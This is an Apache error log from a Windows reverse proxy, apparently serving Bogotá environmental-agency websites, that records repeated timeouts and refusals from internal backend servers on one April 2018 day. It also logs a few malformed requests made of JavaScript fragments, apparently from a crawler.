[Mon Apr 16 10:01:55.117743 2018] [proxy_http:error] [pid 8864:tid 14128] [client 201.245.192.253:60948] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 10:01:55.133343 2018] [proxy:error] [pid 8864:tid 14128] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 10:11:55.687598 2018] [proxy:error] [pid 8864:tid 15028] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 10:11:55.687598 2018] [proxy:error] [pid 8864:tid 15028] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 10:11:55.687598 2018] [proxy_http:error] [pid 8864:tid 15028] [client 201.245.192.253:32784] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 10:11:55.734398 2018] [proxy:error] [pid 8864:tid 15028] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 10:17:07.890946 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 10:21:55.040651 2018] [proxy:error] [pid 8864:tid 17620] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 10:21:55.040651 2018] [proxy:error] [pid 8864:tid 17620] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 10:21:55.040651 2018] [proxy_http:error] [pid 8864:tid 17620] [client 201.245.192.253:32878] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 10:21:55.056251 2018] [proxy:error] [pid 8864:tid 17620] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 10:25:00.478176 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 10:25:00.478176 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 10:26:33.235939 2018] [proxy:error] [pid 8864:tid 14284] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 10:26:33.235939 2018] [proxy:error] [pid 8864:tid 14284] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 10:26:33.235939 2018] [proxy_http:error] [pid 8864:tid 14284] [client 201.245.192.253:51087] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 10:26:58.663984 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 10:55:47.396620 2018] [proxy:error] [pid 8864:tid 17156] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 10:55:47.396620 2018] [proxy:error] [pid 8864:tid 17156] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 10:55:47.396620 2018] [proxy_http:error] [pid 8864:tid 17156] [client 201.245.192.253:33096] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 11:01:55.385667 2018] [proxy:error] [pid 8864:tid 13760] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 11:01:55.385667 2018] [proxy:error] [pid 8864:tid 13760] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 11:01:55.385667 2018] [proxy_http:error] [pid 8864:tid 13760] [client 201.245.192.253:33136] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 11:01:55.728867 2018] [proxy:error] [pid 8864:tid 13760] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 11:06:24.096139 2018] [proxy:error] [pid 8864:tid 16260] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 11:06:24.096139 2018] [proxy:error] [pid 8864:tid 16260] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 11:06:24.096139 2018] [proxy_http:error] [pid 8864:tid 16260] [client 66.249.88.33:37981] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 11:11:54.925920 2018] [proxy:error] [pid 8864:tid 16244] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 11:11:54.925920 2018] [proxy:error] [pid 8864:tid 16244] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 11:11:54.925920 2018] [proxy_http:error] [pid 8864:tid 16244] [client 201.245.192.253:33172] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 11:11:54.925920 2018] [proxy:error] [pid 8864:tid 16244] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 11:14:25.185384 2018] [proxy:error] [pid 8864:tid 17880] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 11:14:25.185384 2018] [proxy:error] [pid 8864:tid 17880] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 11:14:25.185384 2018] [proxy_http:error] [pid 8864:tid 17880] [client 201.245.27.206:53432] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 11:15:05.137054 2018] [proxy:error] [pid 8864:tid 15964] AH00940: HTTP: disabled connection for (172.22.1.31)
[Mon Apr 16 11:21:54.965374 2018] [proxy:error] [pid 8864:tid 17340] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 11:21:54.965374 2018] [proxy:error] [pid 8864:tid 17340] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 11:21:54.965374 2018] [proxy_http:error] [pid 8864:tid 17340] [client 201.245.192.253:33254] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 11:21:54.965374 2018] [proxy:error] [pid 8864:tid 17340] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 11:26:05.829414 2018] [proxy:error] [pid 8864:tid 14804] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 11:26:05.829414 2018] [proxy:error] [pid 8864:tid 14804] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 11:26:05.829414 2018] [proxy_http:error] [pid 8864:tid 14804] [client 201.245.192.253:54249] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 12:01:54.842389 2018] [proxy:error] [pid 8864:tid 17292] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 12:01:54.842389 2018] [proxy:error] [pid 8864:tid 17292] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 12:01:54.842389 2018] [proxy_http:error] [pid 8864:tid 17292] [client 201.245.192.253:33416] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 12:01:54.842389 2018] [proxy:error] [pid 8864:tid 17292] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 12:04:06.615820 2018] [core:error] [pid 8864:tid 17248] (20024)The given path is misformatted or contained invalid characters: [client 199.168.137.161:60602] AH00127: Cannot map GET /www.ambientebogota.gov.co:81 HTTP/1.1 to file
[Mon Apr 16 12:04:22.590248 2018] [core:error] [pid 8864:tid 17548] (20024)The given path is misformatted or contained invalid characters: [client 199.168.137.161:60612] AH00127: Cannot map GET /js/),this.$menu.html(t),this},next:function(t){var n=this.$menu.find( HTTP/1.1 to file
[Mon Apr 16 12:04:28.362258 2018] [core:error] [pid 8864:tid 14580] (20024)The given path is misformatted or contained invalid characters: [client 199.168.137.161:60658] AH00127: Cannot map GET /js/,data:t}).done(function(e){i=arguments,a.html(r?it( HTTP/1.1 to file
[Mon Apr 16 12:04:28.752259 2018] [core:error] [pid 8864:tid 15164] (20024)The given path is misformatted or contained invalid characters: [client 199.168.137.161:60659] AH00127: Cannot map GET /js/],_default:nt.htmlSerialize?[0, HTTP/1.1 to file
[Mon Apr 16 12:06:49.277306 2018] [proxy:error] [pid 8864:tid 15068] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.32:80 (172.22.1.32) failed
[Mon Apr 16 12:06:49.277306 2018] [proxy:error] [pid 8864:tid 15068] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.32) for 60s
[Mon Apr 16 12:06:49.277306 2018] [proxy_http:error] [pid 8864:tid 15068] [client 200.75.48.35:56679] AH01114: HTTP: failed to make connection to backend: 172.22.1.32, referer: http://www.ambientebogota.gov.co/web/intranet/aplicaciones-para-acceder-fuera-de-la-sda
[Mon Apr 16 12:06:52.646912 2018] [proxy:error] [pid 8864:tid 14092] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.32:80 (172.22.1.32) failed
[Mon Apr 16 12:06:52.646912 2018] [proxy_http:error] [pid 8864:tid 14092] [client 200.75.48.35:56683] AH01114: HTTP: failed to make connection to backend: 172.22.1.32, referer: http://www.ambientebogota.gov.co/web/intranet/aplicaciones-para-acceder-fuera-de-la-sda
[Mon Apr 16 12:07:32.395782 2018] [proxy:error] [pid 8864:tid 17372] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 12:07:32.395782 2018] [proxy:error] [pid 8864:tid 17372] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 12:07:32.395782 2018] [proxy_http:error] [pid 8864:tid 17372] [client 201.245.192.253:54425] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 12:07:35.032186 2018] [proxy:error] [pid 8864:tid 17656] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 12:07:35.032186 2018] [proxy_http:error] [pid 8864:tid 17656] [client 201.245.192.253:54426] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 12:11:58.376249 2018] [proxy:error] [pid 8864:tid 15512] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 12:11:58.376249 2018] [proxy:error] [pid 8864:tid 15512] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 12:11:58.376249 2018] [proxy_http:error] [pid 8864:tid 15512] [client 201.245.192.253:33468] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 12:11:58.376249 2018] [proxy:error] [pid 8864:tid 15512] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 12:21:55.014897 2018] [proxy:error] [pid 8864:tid 15228] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 12:21:55.014897 2018] [proxy:error] [pid 8864:tid 15228] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 12:21:55.014897 2018] [proxy_http:error] [pid 8864:tid 15228] [client 201.245.192.253:33558] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 12:21:55.077297 2018] [proxy:error] [pid 8864:tid 14812] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 13:01:54.985512 2018] [proxy:error] [pid 8864:tid 15720] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 13:01:54.985512 2018] [proxy:error] [pid 8864:tid 15720] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 13:01:54.985512 2018] [proxy_http:error] [pid 8864:tid 15720] [client 201.245.192.253:33690] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 13:01:55.110312 2018] [proxy:error] [pid 8864:tid 15720] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 13:05:48.658323 2018] [proxy:error] [pid 8864:tid 14312] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 13:05:48.658323 2018] [proxy:error] [pid 8864:tid 14312] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 13:05:48.658323 2018] [proxy_http:error] [pid 8864:tid 14312] [client 201.245.192.253:53443] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 13:05:48.783123 2018] [proxy:error] [pid 8864:tid 17672] AH00940: HTTP: disabled connection for (172.22.1.31)
[Mon Apr 16 13:06:02.511147 2018] [proxy:error] [pid 8864:tid 14624] AH00940: HTTP: disabled connection for (172.22.1.31)
[Mon Apr 16 13:06:02.526747 2018] [proxy:error] [pid 8864:tid 14624] AH00940: HTTP: disabled connection for (172.22.1.31)
[Mon Apr 16 13:11:54.588165 2018] [proxy:error] [pid 8864:tid 17188] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 13:11:54.588165 2018] [proxy:error] [pid 8864:tid 17188] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 13:11:54.588165 2018] [proxy_http:error] [pid 8864:tid 17188] [client 201.245.192.253:33720] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 13:11:54.588165 2018] [proxy:error] [pid 8864:tid 17188] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 13:21:55.314020 2018] [proxy:error] [pid 8864:tid 14436] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 13:21:55.314020 2018] [proxy:error] [pid 8864:tid 14436] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 13:21:55.314020 2018] [proxy_http:error] [pid 8864:tid 14436] [client 201.245.192.253:33780] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 13:21:55.314020 2018] [proxy:error] [pid 8864:tid 14436] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 13:34:24.567736 2018] [proxy:error] [pid 8864:tid 14004] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 13:34:24.567736 2018] [proxy:error] [pid 8864:tid 14004] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 13:34:24.567736 2018] [proxy_http:error] [pid 8864:tid 14004] [client 66.249.73.209:57988] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 13:48:40.572440 2018] [proxy:error] [pid 8864:tid 13760] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 13:48:40.572440 2018] [proxy:error] [pid 8864:tid 13760] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 13:48:40.572440 2018] [proxy_http:error] [pid 8864:tid 13760] [client 201.245.192.253:64455] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 13:49:01.585677 2018] [proxy:error] [pid 8864:tid 18040] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 13:49:01.585677 2018] [proxy_http:error] [pid 8864:tid 18040] [client 201.245.192.253:64465] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 13:52:06.898402 2018] [proxy:error] [pid 8864:tid 14828] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 13:52:06.898402 2018] [proxy:error] [pid 8864:tid 14828] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 13:52:06.898402 2018] [proxy_http:error] [pid 8864:tid 14828] [client 201.245.192.253:64599] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 13:52:17.912022 2018] [proxy:error] [pid 8864:tid 14468] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 13:52:17.912022 2018] [proxy_http:error] [pid 8864:tid 14468] [client 201.245.192.253:64603] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 13:52:40.922062 2018] [proxy:error] [pid 8864:tid 14484] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 13:52:40.922062 2018] [proxy:error] [pid 8864:tid 14484] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 13:52:40.922062 2018] [proxy_http:error] [pid 8864:tid 14484] [client 201.245.192.253:64616] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 13:52:42.887665 2018] [proxy:error] [pid 8864:tid 14468] AH00940: HTTP: disabled connection for (172.22.1.31)
[Mon Apr 16 13:52:52.934083 2018] [proxy:error] [pid 8864:tid 17852] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 13:52:52.934083 2018] [proxy_http:error] [pid 8864:tid 17852] [client 201.245.192.253:64619] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 14:01:54.832235 2018] [proxy:error] [pid 8864:tid 15104] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 14:01:54.832235 2018] [proxy:error] [pid 8864:tid 15104] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 14:01:54.832235 2018] [proxy_http:error] [pid 8864:tid 15104] [client 201.245.192.253:33956] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 14:01:54.925835 2018] [proxy:error] [pid 8864:tid 15104] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 14:10:33.595546 2018] [proxy:error] [pid 8864:tid 17136] (OS 10061)No connection could be made because the target machine actively refused it. : AH00957: HTTP: attempt to connect to 172.22.1.26:8080 (172.22.1.26) failed
[Mon Apr 16 14:10:33.595546 2018] [proxy:error] [pid 8864:tid 17136] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.26) for 60s
[Mon Apr 16 14:10:33.595546 2018] [proxy_http:error] [pid 8864:tid 17136] [client 201.245.192.253:50972] AH01114: HTTP: failed to make connection to backend: 172.22.1.26, referer: http://www.secretariadeambiente.gov.co/forest/visualizar.do?codDoc=1636406&ext=html&codfile=undefined&iscodfile=undefined&nombre=REGISTRO%20DE%20PUBLICIDAD%20EXTERIOR%20VISUAL.html
[Mon Apr 16 14:10:58.181189 2018] [proxy:error] [pid 8864:tid 17280] AH00940: HTTP: disabled connection for (172.22.1.26)
[Mon Apr 16 14:11:07.369605 2018] [proxy:error] [pid 8864:tid 17828] AH00940: HTTP: disabled connection for (172.22.1.26)
[Mon Apr 16 14:11:14.296018 2018] [proxy:error] [pid 8864:tid 16668] AH00940: HTTP: disabled connection for (172.22.1.26)
[Mon Apr 16 14:11:17.572023 2018] [proxy:error] [pid 8864:tid 14556] AH00940: HTTP: disabled connection for (172.22.1.26)
[Mon Apr 16 14:11:54.481688 2018] [proxy:error] [pid 8864:tid 16668] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 14:11:54.481688 2018] [proxy:error] [pid 8864:tid 16668] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 14:11:54.481688 2018] [proxy_http:error] [pid 8864:tid 16668] [client 201.245.192.253:34010] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 14:11:54.481688 2018] [proxy:error] [pid 8864:tid 16668] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 14:16:05.423729 2018] [proxy:error] [pid 8864:tid 17936] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 14:16:05.423729 2018] [proxy:error] [pid 8864:tid 17936] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 14:16:05.423729 2018] [proxy_http:error] [pid 8864:tid 17936] [client 66.249.73.211:46161] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 14:21:55.207543 2018] [proxy:error] [pid 8864:tid 17784] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 14:21:55.207543 2018] [proxy:error] [pid 8864:tid 17784] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 14:21:55.207543 2018] [proxy_http:error] [pid 8864:tid 17784] [client 201.245.192.253:34102] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 14:21:55.207543 2018] [proxy:error] [pid 8864:tid 17784] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 14:56:19.824370 2018] [mpm_winnt:warn] [pid 8864:tid 19376] (OS 64)The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed.
[Mon Apr 16 15:01:55.131358 2018] [proxy:error] [pid 8864:tid 17364] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 15:01:55.131358 2018] [proxy:error] [pid 8864:tid 17364] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 15:01:55.131358 2018] [proxy_http:error] [pid 8864:tid 17364] [client 201.245.192.253:34334] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 15:01:55.271759 2018] [proxy:error] [pid 8864:tid 16900] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 15:11:54.812012 2018] [proxy:error] [pid 8864:tid 16096] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 15:11:54.812012 2018] [proxy:error] [pid 8864:tid 16096] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 15:11:54.812012 2018] [proxy_http:error] [pid 8864:tid 16096] [client 201.245.192.253:34364] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 15:11:54.812012 2018] [proxy:error] [pid 8864:tid 16096] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 15:21:54.570665 2018] [proxy:error] [pid 8864:tid 16632] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 15:21:54.570665 2018] [proxy:error] [pid 8864:tid 16632] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 15:21:54.570665 2018] [proxy_http:error] [pid 8864:tid 16632] [client 201.245.192.253:34432] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 15:21:57.581470 2018] [proxy:error] [pid 8864:tid 17316] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 15:29:36.284676 2018] [proxy:error] [pid 8864:tid 14804] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 15:29:36.284676 2018] [proxy:error] [pid 8864:tid 14804] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 15:29:36.284676 2018] [proxy_http:error] [pid 8864:tid 14804] [client 66.249.73.209:57005] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 15:39:48.398551 2018] [proxy:error] [pid 8864:tid 14484] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.31:80 (172.22.1.31) failed
[Mon Apr 16 15:39:48.398551 2018] [proxy:error] [pid 8864:tid 14484] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.31) for 60s
[Mon Apr 16 15:39:48.398551 2018] [proxy_http:error] [pid 8864:tid 14484] [client 190.0.19.2:55704] AH01114: HTTP: failed to make connection to backend: 172.22.1.31
[Mon Apr 16 15:42:07.519596 2018] [core:error] [pid 8864:tid 16228] (20024)The given path is misformatted or contained invalid characters: [client 52.40.69.29:54573] AH00127: Cannot map GET /galeria/galeria/fotos/%0A%0AHumedal-la-conejera1G.jpg HTTP/1.1 to file
[Mon Apr 16 16:01:54.073280 2018] [proxy:error] [pid 8864:tid 17836] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 16:01:54.073280 2018] [proxy:error] [pid 8864:tid 17836] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 16:01:54.073280 2018] [proxy_http:error] [pid 8864:tid 17836] [client 201.245.192.253:34576] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 16:01:54.166880 2018] [proxy:error] [pid 8864:tid 17836] AH00940: HTTP: disabled connection for (172.22.1.16)
[Mon Apr 16 16:11:54.830335 2018] [proxy:error] [pid 8864:tid 16580] (OS 10060)A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. : AH00957: HTTP: attempt to connect to 172.22.1.16:18080 (172.22.1.16) failed
[Mon Apr 16 16:11:54.830335 2018] [proxy:error] [pid 8864:tid 16580] AH00959: ap_proxy_connect_backend disabling worker for (172.22.1.16) for 60s
[Mon Apr 16 16:11:54.830335 2018] [proxy_http:error] [pid 8864:tid 16580] [client 201.245.192.253:34618] AH01114: HTTP: failed to make connection to backend: 172.22.1.16
[Mon Apr 16 16:11:54.830335 2018] [proxy:error] [pid 8864:tid 16580] AH00940: HTTP: disabled connection for (172.22.1.16)
